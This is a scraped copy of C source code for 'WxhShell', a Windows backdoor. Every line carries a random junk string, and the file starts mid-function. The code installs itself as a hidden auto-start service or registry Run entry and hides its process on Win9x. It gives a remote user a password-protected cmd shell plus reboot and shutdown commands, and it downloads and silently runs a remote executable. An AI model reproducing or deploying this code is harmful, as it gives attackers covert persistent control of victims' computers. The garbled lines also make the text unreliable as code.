    closesocket(wsh); VIT|#  
    ExitThread(0); cQK-Euum  
    } AzOs/q8O  
    break; ! ;t\lgMl  
    } @vt.Db  
  // 关机 5 aA* ~\  
  case 'd': { Oo|PZ_P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4KM-$h,4O  
    if(Boot(SHUTDOWN)) #s\@fp7A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yWi-ic [n  
    else { RSp wU;o6z  
    closesocket(wsh); f82%nT  
    ExitThread(0); OM*c7&  
    } -&5YRfr!  
    break; G](4!G&  
    } lT|Gkm<G  
  // 获取shell ?RsrY4P  
  case 's': { q!ZM Wg  
    CmdShell(wsh); <+QQiFj  
    closesocket(wsh); .:$(o&  
    ExitThread(0); p{g4`o  
    break; Re,;$_6o  
  } _=Gj J~2n  
  // 退出 I=y7$+7%  
  case 'x': { ^+_rv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q!$s<n  
    CloseIt(wsh); v'W{+>.  
    break; lP F326e  
    } i2,4:M)CV  
  // 离开 1RRE{]2v#  
  case 'q': {  w4U,7%V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y{%0[x*N<m  
    closesocket(wsh); ^65I,Z"  
    WSACleanup(); srGOIK.  
    exit(1); b@Ej$t&  
    break; 0bT j/0G?  
        } TN(Vzs%  
  } $UR:j8C{p$  
  } !g@K y$  
u m9yO'[C  
  // 提示信息 'Gy`e-yB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X1Yw=t~a  
}  ldA_mj{  
  } h  d3  
aM}9ZurI  
  return; H;/do-W[  
} >JpBX+]5m  
J:Cr.K`  
// shell模块句柄 0*gvHVd/l  
int CmdShell(SOCKET sock) |oY{TQ<<d  
{ #e' >9T  
STARTUPINFO si; dli(ckr  
ZeroMemory(&si,sizeof(si)); fVbjU1N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3l{V:x!9@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ingG  
PROCESS_INFORMATION ProcessInfo; >qeDb0  
char cmdline[]="cmd"; 7he73  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6"&cQ>$xh  
  return 0; Tagf7tw4  
} Q:-T' xk@  
,aP6ct  
// 自身启动模式 Ku(YTXtK  
int StartFromService(void) /2tA n  
{ bb6x} jR  
typedef struct 2bt>t[0ad  
{ 5vx 4F f  
  DWORD ExitStatus; ^^a6 (b  
  DWORD PebBaseAddress; aU!}j'5Q  
  DWORD AffinityMask; p<5]QV7st  
  DWORD BasePriority; :""HyjY!  
  ULONG UniqueProcessId;  r h*F  
  ULONG InheritedFromUniqueProcessId; 1&w%TRC2x  
}   PROCESS_BASIC_INFORMATION; k2}DBVu1  
67j kU!  
PROCNTQSIP NtQueryInformationProcess; C QkY6  
p{Lrv%-j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DQG%`-J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ..N6]u  
8E%LhA.  
  HANDLE             hProcess; @:N8V[*u  
  PROCESS_BASIC_INFORMATION pbi; ;K<VT\  
4.O)/0sU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q[s,q3n~  
  if(NULL == hInst ) return 0; .p[uIRd`  
(0{Dn5MH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0D5Z#iW>1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z(MZbzY7Hq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KuR]X``2  
&[G)Y D  
  if (!NtQueryInformationProcess) return 0; yYz{*hq  
Phn^0 iF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^755 LW  
  if(!hProcess) return 0; mWoN\Rwj  
lZ"C~B}9:I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $+{o*  
\ z*<^ONq  
  CloseHandle(hProcess); I8W9Kzf  
b V_<5PHP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 55y}t%5  
if(hProcess==NULL) return 0; E^w0X,0XlE  
IAmMO[9H  
HMODULE hMod; rJp9ut'FEz  
char procName[255]; NP.qh1{NP  
unsigned long cbNeeded; VzM (u _)  
8M['-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =xH>,-8}  
:h0!giqoQ  
  CloseHandle(hProcess); s,laJf  
-|czhO)R  
if(strstr(procName,"services")) return 1; // 以服务启动 Ox aS<vQ3  
b3=XWzK5  
  return 0; // 注册表启动  poZ&S  
} #\}xyPS  
x;7p75Wm  
// 主模块 4%>tk 8 [  
int StartWxhshell(LPSTR lpCmdLine) 7,{!a56zX  
{ (/P-9<"U  
  SOCKET wsl; |z)7XK  
BOOL val=TRUE; ;[,#VtD  
  int port=0; !uKuO  
  struct sockaddr_in door; y0t-e   
?zXlLud8  
  if(wscfg.ws_autoins) Install(); JkNRXC:  
51>OwEf<R  
port=atoi(lpCmdLine); ehX4[j6  
wD<W'K   
if(port<=0) port=wscfg.ws_port; cl'qw##  
PiX(Ase  
  WSADATA data; g+k yvI7o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pWGIA6&v(  
`b5pa`\4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B{Lzgw u;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ];Bk|xJ/>  
  door.sin_family = AF_INET; {<Vw55)#0Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4L2TsuLw  
  door.sin_port = htons(port); ,Ct1)%   
i~*#z&4A+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W%}zwQ  
closesocket(wsl); O/f+B}W  
return 1; OWHHN<  
} rge/qUr/^  
&m@DK>  
  if(listen(wsl,2) == INVALID_SOCKET) { Z uO 7 N  
closesocket(wsl); safI`b w1  
return 1; gs=(h*  
} ]A:G>K  
  Wxhshell(wsl); Al}%r85  
  WSACleanup(); @w[HXb  
"[\TL#/  
return 0; bX&=*L+ h6  
$)M 5@KT  
} e:WKb9nT  
DqBiBH[%h  
// 以NT服务方式启动 #; >v,Jo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5+iXOs<   
{ H}}C>p"!,  
DWORD   status = 0; b(:U]>J  
  DWORD   specificError = 0xfffffff; #uH%J<U  
*#CUZJN\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zM|Y X<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b*"%E, ?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ouc$M2m0!  
  serviceStatus.dwWin32ExitCode     = 0; 7,Q>>%/0P  
  serviceStatus.dwServiceSpecificExitCode = 0; 5'[b:YC  
  serviceStatus.dwCheckPoint       = 0; E(Y}*.\]#s  
  serviceStatus.dwWaitHint       = 0; J0 x)NnWJ  
18gApRa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6{TUs>~  
  if (hServiceStatusHandle==0) return; <Is~DjIav  
o",J{  
status = GetLastError(); 4:Id8r zz  
  if (status!=NO_ERROR) Lk1e{! a  
{ +I r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yk&PJ;%O<  
    serviceStatus.dwCheckPoint       = 0; C{U"Nsu+1  
    serviceStatus.dwWaitHint       = 0; vAjvW&'g  
    serviceStatus.dwWin32ExitCode     = status; =2.q=a|'  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZA6)@Mn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aLt2fB1)  
    return; N)^` 15w  
  } $irF  
cCbZ*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d\v1R-V  
  serviceStatus.dwCheckPoint       = 0; Vo8gLX]a  
  serviceStatus.dwWaitHint       = 0; \*5${[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0 pPSg9  
} j NkobJ1  
Y2Y)|<FH  
// 处理NT服务事件,比如:启动、停止 oA]rwa UX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VQwF9Iq]`  
{ k}FmdaPI'  
switch(fdwControl) V3<H8pL  
{ Wg!JQRHtT  
case SERVICE_CONTROL_STOP: S>V+IKW;(  
  serviceStatus.dwWin32ExitCode = 0; db`L0JB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )uu1AbT +e  
  serviceStatus.dwCheckPoint   = 0; =C 7WQ  
  serviceStatus.dwWaitHint     = 0; 2v?fbrC5c  
  { a(oa?OdJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _UGR+0'Q\  
  } X)b@ia'"Wp  
  return; Z|$M 9E  
case SERVICE_CONTROL_PAUSE: hU6oWm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |Q+:vb:  
  break; !\5w<*p8  
case SERVICE_CONTROL_CONTINUE: TP{2q51yM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +FJ+,|i  
  break; w?:tce   
case SERVICE_CONTROL_INTERROGATE: cB=ExD.Q  
  break; T7~H|%  
}; ^xm%~   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |ya.c\}q  
} WT63ve  
LY;Fjb yU  
// 标准应用程序主函数 AF\Jh+ynT!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %%FzBbWAO  
{ Z@,[a  
sOVU>tb\'  
// 获取操作系统版本 =}zSj64  
OsIsNt=GetOsVer(); 6GA+xr=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qWM+!f  
T.}Y&,n$$5  
  // 从命令行安装 ZeLed[J^xJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); )M><09  
"S H=|5+  
  // 下载执行文件 ,&.$r/x|?  
if(wscfg.ws_downexe) { EKus0"|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -}_1f[b  
  WinExec(wscfg.ws_filenam,SW_HIDE); $b(CN+#  
} Q[{RN ab  
f@[qS7ok  
if(!OsIsNt) { 9y&bKB2,  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y>6N2&Q  
HideProc(); X ,{ 3_  
StartWxhshell(lpCmdLine);  />6ECT  
} S5V:HRj{?  
else ocu,qL)W  
  if(StartFromService()) E>+>!On)b  
  // 以服务方式启动 J$5Vjh'aM  
  StartServiceCtrlDispatcher(DispatchTable); w2db=9  
else m*jTvn  
  // 普通方式启动 Xv3pKf-K  
  StartWxhshell(lpCmdLine); V';l H2  
*YSRZvD<\  
return 0; Z?xRSi2~7  
} &d0sv5&s  
.cbC2t95  
5vg="@O K  
-n8d#Qm)  
=========================================== ;tSA Q  
}wkY`"  
6tFi\,)E  
T7%!JBg@  
?U{<g,^  
 /y wP 0  
" ()48>||  
\5 rJ  
#include <stdio.h> {`G d  
#include <string.h> Qz3Z_V4k9  
#include <windows.h> S'5Zy} +x  
#include <winsock2.h> g/fpXO\  
#include <winsvc.h> Fn7OmxfD  
#include <urlmon.h> MXa^ g"  
uZZRFioX|  
#pragma comment (lib, "Ws2_32.lib") [orL.D]  
#pragma comment (lib, "urlmon.lib") A&bj l[s  
;0Pv49q  
#define MAX_USER   100 // 最大客户端连接数 ddyX+.LMk  
#define BUF_SOCK   200 // sock buffer tM^4K r~o,  
#define KEY_BUFF   255 // 输入 buffer }Uwji  
^:]$m;v]  
#define REBOOT     0   // 重启 RFy MRE!?  
#define SHUTDOWN   1   // 关机 S YDE`-  
tKeTHj;jO  
#define DEF_PORT   5000 // 监听端口 "J`&"_CyZ  
? ep#s$i  
#define REG_LEN     16   // 注册表键长度 XIbZ_G^ +D  
#define SVC_LEN     80   // NT服务名长度 }&t>j[  
80wzn,o S  
// 从dll定义API \?d3Pn5`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dniU{v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M{Z ;7n'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); > :IWRc2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =i&,I{3  
QCF'/G  
// wxhshell配置信息 {@^;Nw%J  
struct WSCFG { %^pi  
  int ws_port;         // 监听端口 #uw&u6*\q  
  char ws_passstr[REG_LEN]; // 口令 0{|HRiQH9+  
  int ws_autoins;       // 安装标记, 1=yes 0=no sfj+-se(K.  
  char ws_regname[REG_LEN]; // 注册表键名 /}(d'@8p  
  char ws_svcname[REG_LEN]; // 服务名 m|;(0 rft  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (Z SaAn),  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RhH 1nf2UR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lGl'A}]#$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UtQey ;w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B6Vlc{c5SO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )rD!4"8/A  
:x)H!z P  
}; hTr5Q33y>  
o@Oz a  
// default Wxhshell configuration UJ)pae  
struct WSCFG wscfg={DEF_PORT, '6#G$  
    "xuhuanlingzhe", d9#Vq=H /  
    1, 0N.h:21(4  
    "Wxhshell", 4hL%J=0:  
    "Wxhshell", 50W+!'  
            "WxhShell Service", a/sjW  
    "Wrsky Windows CmdShell Service", //q(v,D%Q  
    "Please Input Your Password: ", &12K pEyf  
  1, f"QiVJq  
  "http://www.wrsky.com/wxhshell.exe", 3/kT'r  
  "Wxhshell.exe" Ae+)RBpc  
    }; %9J@##+  
,#A(I#wL~  
// 消息定义模块 cz>,sz~i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;]>kp^C#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jxh:z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @ _Ey"k<  
char *msg_ws_ext="\n\rExit."; $YL9 vJV  
char *msg_ws_end="\n\rQuit."; k$w~JO!s  
char *msg_ws_boot="\n\rReboot..."; H}^'  
char *msg_ws_poff="\n\rShutdown..."; 6#?T?!vZ  
char *msg_ws_down="\n\rSave to "; K}~$h,n  
q$Gs;gz^(  
char *msg_ws_err="\n\rErr!"; 1 em,/> "  
char *msg_ws_ok="\n\rOK!"; z%;p lMj  
m1"m KM  
char ExeFile[MAX_PATH]; zM9#1^X  
int nUser = 0; B$4*U"tk  
HANDLE handles[MAX_USER]; *'< AwG&  
int OsIsNt; ^\\3bW9}H  
_pvB$&  
SERVICE_STATUS       serviceStatus; 8Bf >  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kRp]2^}\s\  
;H_/o+  
// 函数声明 4xy\  
int Install(void); _gvFs %J  
int Uninstall(void); w?Te%/s.  
int DownloadFile(char *sURL, SOCKET wsh); ALF0d|>=uj  
int Boot(int flag); D'"  T'@  
void HideProc(void); NB-dlv1  
int GetOsVer(void); 3[YG BM(  
int Wxhshell(SOCKET wsl); XH%L]  
void TalkWithClient(void *cs); (o^tmH*  
int CmdShell(SOCKET sock); z5+Pi:1w  
int StartFromService(void); /sE,2X*BT  
int StartWxhshell(LPSTR lpCmdLine); = tv70d'  
N'Gq9A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %<x! mE x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fe4>G8uuwn  
d#]hqy  
// 数据结构和表定义 Fi67"*gE  
SERVICE_TABLE_ENTRY DispatchTable[] = vg5_@7  
{ ;kY~-Om  
{wscfg.ws_svcname, NTServiceMain}, "TJ*mN.i{}  
{NULL, NULL} w]yVNB  
}; } c k <R  
o{! :N>(  
// 自我安装 huS*1xl  
int Install(void) KyfH8Na?  
{ DJ@n$G`^^  
  char svExeFile[MAX_PATH]; 6[4VbIBSI  
  HKEY key; B ~N3k  
  strcpy(svExeFile,ExeFile); Z#L4n#TT  
E "}@SaB-  
// 如果是win9x系统,修改注册表设为自启动 |5tZ*$nGa  
if(!OsIsNt) { ~bx ev/$d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { * dw.Ug  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <y] 67:"<v  
  RegCloseKey(key); CDRbYO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &v0-$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #}FUau$  
  RegCloseKey(key); `H6~<9r  
  return 0; a \1QnCy  
    } (X,i,qK/  
  } jt on\9  
} ~cCMLK em  
else { +q '1P}e  
jh)@3c  
// 如果是NT以上系统,安装为系统服务 xF8n=Lc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZQ_6I}i")  
if (schSCManager!=0) X<}}DZSu a  
{ ~qrSHn}+PU  
  SC_HANDLE schService = CreateService , :#bo]3  
  ( )ZpI%M?)  
  schSCManager, BZ?Ck[E]Z  
  wscfg.ws_svcname, 14B',]`  
  wscfg.ws_svcdisp, d@$| zr6  
  SERVICE_ALL_ACCESS, ?gl&q+mv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8YQuq.(>a  
  SERVICE_AUTO_START, GDL/5m#  
  SERVICE_ERROR_NORMAL, vKG\8+  
  svExeFile, ]=q auf>3  
  NULL, fx5S2%f^  
  NULL, p8~lGuH  
  NULL, OL>>/T  
  NULL, phuiLW{&  
  NULL MO8}i?u=z  
  ); M\C9^DX{  
  if (schService!=0)  7H  
  { %Hbq3U30  
  CloseServiceHandle(schService); _xaum  
  CloseServiceHandle(schSCManager); mvEhP{w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A-CU%G9  
  strcat(svExeFile,wscfg.ws_svcname); Ayw_LCUD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DQQ]grU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SKL4U5D{  
  RegCloseKey(key); mrP48#Y+l  
  return 0; JY#vq'dl|  
    } 2`$*HPj+G  
  } $*#^C;7O  
  CloseServiceHandle(schSCManager); /:4J  
} NZB*;U~t  
} N>H@vt~  
4^L;]v,|7  
return 1; u /F!8#  
}  pux IJ  
?}cmES kX@  
// 自我卸载 -qIi.]/f"9  
int Uninstall(void) F}_b7 |^  
{ oe|#!SM(  
  HKEY key; +#FqC/`l  
Ib#-M;{  
if(!OsIsNt) { '? 5-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S; % &X  
  RegDeleteValue(key,wscfg.ws_regname); I`V<Sh^Qd  
  RegCloseKey(key); |2j,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j&d5tgLB  
  RegDeleteValue(key,wscfg.ws_regname); v1OVrk>s>  
  RegCloseKey(key); 0~qc,-)3  
  return 0; S0^a)#D &  
  } v76Gwu$ d  
} ^1S{::  
} c;VqEpsbl  
else { BPO5=]W 7  
{rKC4:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H9*k(lnz`  
if (schSCManager!=0) E!9WZY  
{ r].n=455[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fqgp{(`@>  
  if (schService!=0) qbv\uYow3k  
  { =tOB fRM  
  if(DeleteService(schService)!=0) { ojd0um6I{  
  CloseServiceHandle(schService); B0@ Tz39=  
  CloseServiceHandle(schSCManager); cpdESc9W  
  return 0; W+ S~__K  
  } w.m8SvS&b  
  CloseServiceHandle(schService); u]*7",R uU  
  } 2C S9v  
  CloseServiceHandle(schSCManager); ^>|ZN2  
} 7@c!4hmrU  
} XM]m%I  
rNN>tpZ}  
return 1; "c%wq 0  
} %1#\LRA(  
2!%)_<  
// 从指定url下载文件 SdH=1zBc  
int DownloadFile(char *sURL, SOCKET wsh) !9d7wPUFr  
{ }c,b]!:  
  HRESULT hr; VzG|Xtco [  
char seps[]= "/"; )\+Imn  
char *token; jF6_yw  
char *file; ?N{\qF1Mz  
char myURL[MAX_PATH]; r5j$FwY  
char myFILE[MAX_PATH]; k0Vri$x  
kK5&?)3Y:  
strcpy(myURL,sURL); V!:!c]8F  
  token=strtok(myURL,seps); Jh+;+"  
  while(token!=NULL) $yOB-  
  { Bl\:YYd  
    file=token; Dl>tF?=  
  token=strtok(NULL,seps); 0AM_D >fH  
  } !8 @yi"n  
^wy  
GetCurrentDirectory(MAX_PATH,myFILE); n@pwOHQn<|  
strcat(myFILE, "\\"); "leSQ  
strcat(myFILE, file); 4X=VNORlU0  
  send(wsh,myFILE,strlen(myFILE),0); Fo3*PcUv  
send(wsh,"...",3,0); 2|k$Vfz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FG${w.e<  
  if(hr==S_OK) %M x|"ff  
return 0; MZ3 8=nJ  
else ~<k>07  
return 1; s#7"ZN  
}+j B5z'w  
} @!iS`u  
`n>/MY  
// 系统电源模块 D5"5`w=C  
int Boot(int flag) ]t<=a6 <P  
{ EC,,l'%a|/  
  HANDLE hToken; HQ+{9Z8 ?5  
  TOKEN_PRIVILEGES tkp; !$Uo$?gC  
U)dcemQY  
  if(OsIsNt) { +  }"+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $z!G%PO1%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1XiA  
    tkp.PrivilegeCount = 1; '6zZ`Ll9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -UEi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GkOk.9Y,5  
if(flag==REBOOT) { knO X5UnS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XU7to]'K  
  return 0; +xuv+mo  
} ^S|qGu,G  
else { rQzdHA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X !h>13fW  
  return 0; ;[o:VuTs  
} D@p{EH  
  } |}{gE=]  
  else { `NhG|g  
if(flag==REBOOT) { TJYhgna  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +1#oVl!  
  return 0; Qw_uwQZ)  
} =b66H]h?  
else { 5_y w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i).Vu}W#S  
  return 0; QE/kR!r  
} 'LoWp} f9  
} wHbmK  
VMABj\yG  
return 1; ~g{1lcqQP  
} :PV3J0pB~  
Lvt3S .l  
// win9x进程隐藏模块 OM.-apzC  
void HideProc(void) UD14q~ (1Z  
{ ~_i=hx  
M2V`|19Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n-K/d I  
  if ( hKernel != NULL ) nYyKz Rz  
  { }\m.~$|[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !hJ!ck]M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O-.G("  
    FreeLibrary(hKernel); Y*b$^C%2  
  } h>>~Bi  
DN%JT[7  
return; l`#rhuy`  
} \Dl MOG  
4-HBXG9#/  
// 获取操作系统版本 |;:Kn*0/]  
int GetOsVer(void) x [vb i  
{ @r43F$bcqo  
  OSVERSIONINFO winfo; $O>@(K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [0LqZ<\5  
  GetVersionEx(&winfo); nsp K.*?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s`J=:>9*  
  return 1; 85fDuJ9$Z"  
  else z|<oxF.  
  return 0; 5:d2q<x:{  
} L8zqLD i&  
M;Rw]M  
// 客户端句柄模块 of`]LU:  
int Wxhshell(SOCKET wsl) >FHsZKJ  
{ =QfKDA  
  SOCKET wsh; |BkY"F7m9  
  struct sockaddr_in client; Sg$\ab$  
  DWORD myID; )r i3ds  
@qDrTH]5  
  while(nUser<MAX_USER) h yKg=Foq  
{ DG\YZV4  
  int nSize=sizeof(client); WS/+Yl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cv4M[]U~  
  if(wsh==INVALID_SOCKET) return 1; f B96Q  
D:E_h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \#jDQ  
if(handles[nUser]==0) zjS:;!8em  
  closesocket(wsh); -C}59G8  
else --YUiNhh  
  nUser++; x2sOEkcQ  
  } mtQ{6u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dO;vcgvb  
{l&2Kd*  
  return 0; g <4M!gi  
} <57l|}8  
"EYj Y->  
// 关闭 socket 0r ; nz]'  
void CloseIt(SOCKET wsh) K=?F3tX^  
{ })Yv9],6  
closesocket(wsh); fDh] tua  
nUser--; Zb_apjg[4  
ExitThread(0); D#Kuo$  
} <jA105U"m>  
qf#)lyr<D6  
// 客户端请求句柄 3@<zg1.9-  
void TalkWithClient(void *cs) -SCM:j%h  
{ {tiKH=&J  
ZZxk]D<  
  SOCKET wsh=(SOCKET)cs; J,Ks0M A  
  char pwd[SVC_LEN]; V<Z[ nq  
  char cmd[KEY_BUFF]; ]X I*Wsn  
char chr[1]; m1Y >Nj[f  
int i,j; fk_o@ G!0  
zN  [2YJ$  
  while (nUser < MAX_USER) { rETRTp0HT  
]Kr `9r),  
if(wscfg.ws_passstr) { -jMJAYjV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y~)1 1]'>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OE}*2P/M>  
  //ZeroMemory(pwd,KEY_BUFF); ">#wOm+ +  
      i=0; Z)jw|T'X  
  while(i<SVC_LEN) { 9<KAXr#  
kT;S4B  
  // 设置超时 XLH0 ;+CL{  
  fd_set FdRead; lV%N  
  struct timeval TimeOut; -|E!e.^7:  
  FD_ZERO(&FdRead); :_O%/k1\@  
  FD_SET(wsh,&FdRead); O} f80K  
  TimeOut.tv_sec=8; )E~ 79!  
  TimeOut.tv_usec=0; 9(@\&>)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,T2G~^0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q5?# 3T=  
i9/aAH0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *hw\35%P`?  
  pwd=chr[0]; {7)st W  
  if(chr[0]==0xd || chr[0]==0xa) { t^w"w`v\u  
  pwd=0; 5=f|7yl  
  break; [ i]Ub0Dh7  
  } dH-s2r%s  
  i++; @;'o2   
    } &}A[x1x06)  
)a-Du$kd  
  // 如果是非法用户,关闭 socket nJo`B4'U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hRCed4qA  
} zzyHoZJP  
7x@A%2J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bro9YP4<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UX dUO@  
<N%7|t*eT  
while(1) { 1&- </G#  
sD=n95`v  
  ZeroMemory(cmd,KEY_BUFF); BW "5Aj  
Rp5#clsy  
      // 自动支持客户端 telnet标准   BG<qIQd  
  j=0; tQjLOv+?=  
  while(j<KEY_BUFF) { e:5bzk!~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `|/<\  
  cmd[j]=chr[0]; !7kG!)40  
  if(chr[0]==0xa || chr[0]==0xd) { uH(f$A  
  cmd[j]=0; dUQ DO o  
  break; >M`CVUf  
  } ?nmn1`UT  
  j++; %oO4|JkJX  
    } hy`?E6=9+  
fP. 6HF_p_  
  // 下载文件 wbst8 *$  
  if(strstr(cmd,"http://")) { lGOgN!?i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3h *!V6%q  
  if(DownloadFile(cmd,wsh)) lk( }-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fc |GArL#}  
